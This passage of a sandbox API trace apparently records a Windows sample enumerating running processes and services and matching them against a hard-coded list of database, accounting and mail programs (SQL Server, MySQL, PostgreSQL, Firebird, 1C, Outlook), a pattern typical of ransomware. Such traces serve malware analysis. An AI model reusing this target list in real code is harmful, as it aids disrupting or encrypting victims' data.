	[0258.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0258.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0258.676] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0258.676] lstrlenW (lpString="winlogon.exe") returned 12
	[0258.676] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0258.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0258.676] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0258.676] lstrlenW (lpString="services.exe") returned 12
	[0258.676] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0258.677] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0258.677] lstrlenW (lpString="lsass.exe") returned 9
	[0258.677] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0258.677] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0258.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0258.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0258.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0258.677] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0258.677] lstrlenW (lpString="lsm.exe") returned 7
	[0258.677] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0258.677] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0258.678] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0258.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0258.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0258.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0258.678] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.678] lstrlenW (lpString="svchost.exe") returned 11
	[0258.678] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.678] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.678] lstrlenW (lpString="svchost.exe") returned 11
	[0258.678] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.679] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.679] lstrlenW (lpString="svchost.exe") returned 11
	[0258.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.679] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.679] lstrlenW (lpString="svchost.exe") returned 11
	[0258.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0258.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0258.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0258.680] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.680] lstrlenW (lpString="svchost.exe") returned 11
	[0258.680] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0258.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0258.680] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0258.680] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0258.680] lstrlenW (lpString="audiodg.exe") returned 11
	[0258.680] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.681] lstrlenW (lpString="svchost.exe") returned 11
	[0258.681] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0258.681] lstrlenW (lpString="userinit.exe") returned 12
	[0258.681] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0258.681] lstrlenW (lpString="explorer.exe") returned 12
	[0258.681] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0258.681] lstrlenW (lpString="dwm.exe") returned 7
	[0258.681] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.682] lstrlenW (lpString="svchost.exe") returned 11
	[0258.682] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0258.682] lstrlenW (lpString="swpesp.exe") returned 10
	[0258.682] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0258.682] lstrlenW (lpString="spoolsv.exe") returned 11
	[0258.682] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0258.683] lstrlenW (lpString="dllhost.exe") returned 11
	[0258.683] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0258.683] lstrlenW (lpString="taskhost.exe") returned 12
	[0258.683] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0258.683] lstrlenW (lpString="svchost.exe") returned 11
	[0258.683] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0258.683] lstrlenW (lpString="reader_sl.exe") returned 13
	[0258.683] Process32NextW (in: hSnapshot=0x33c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0258.684] CloseHandle (hObject=0x33c) returned 1
	[0258.684] Sleep (dwMilliseconds=0x1f4) 
	[0259.397] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c5ac0
	[0259.460] EnumServicesStatusExW (in: hSCManager=0x41c5ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0259.461] GetLastError () returned 0xea
	[0259.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0259.461] EnumServicesStatusExW (in: hSCManager=0x41c5ac0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0259.461] CloseServiceHandle (hSCObject=0x41c5ac0) returned 1
	[0259.461] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0259.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0259.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0259.461] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0259.461] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0259.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0259.462] lstrlenW (lpString="AudioSrv") returned 8
	[0259.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0259.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0259.462] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0259.462] lstrlenW (lpString="BFE") returned 3
	[0259.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0259.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0259.462] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0259.462] lstrlenW (lpString="CryptSvc") returned 8
	[0259.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0259.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0259.462] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0259.462] lstrlenW (lpString="CscService") returned 10
	[0259.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0259.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0259.462] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0259.462] lstrlenW (lpString="DcomLaunch") returned 10
	[0259.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0259.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0259.462] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0259.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0259.462] lstrlenW (lpString="Dhcp") returned 4
	[0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0259.463] lstrlenW (lpString="Dnscache") returned 8
	[0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0259.463] lstrlenW (lpString="DPS") returned 3
	[0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0259.463] lstrlenW (lpString="eventlog") returned 8
	[0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0259.463] lstrlenW (lpString="EventSystem") returned 11
	[0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0259.463] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0259.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0259.463] lstrlenW (lpString="gpsvc") returned 5
	[0259.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0259.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0259.464] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0259.464] lstrlenW (lpString="lmhosts") returned 7
	[0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0259.464] lstrlenW (lpString="MMCSS") returned 5
	[0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0259.464] lstrlenW (lpString="MpsSvc") returned 6
	[0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0259.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0259.464] lstrlenW (lpString="NlaSvc") returned 6
	[0259.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0259.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0259.464] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0259.464] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0259.465] lstrlenW (lpString="nsi") returned 3
	[0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0259.465] lstrlenW (lpString="PcaSvc") returned 6
	[0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0259.465] lstrlenW (lpString="PlugPlay") returned 8
	[0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0259.465] lstrlenW (lpString="Power") returned 5
	[0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0259.465] lstrlenW (lpString="ProfSvc") returned 7
	[0259.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0259.465] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0259.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0259.465] lstrlenW (lpString="RpcEptMapper") returned 12
	[0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0259.466] lstrlenW (lpString="RpcSs") returned 5
	[0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0259.466] lstrlenW (lpString="SamSs") returned 5
	[0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0259.466] lstrlenW (lpString="Schedule") returned 8
	[0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
